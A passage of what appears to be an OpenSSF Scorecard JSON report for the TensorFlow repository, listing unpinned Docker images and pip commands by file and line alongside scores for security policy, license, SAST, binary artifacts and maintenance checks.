python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: 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detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a 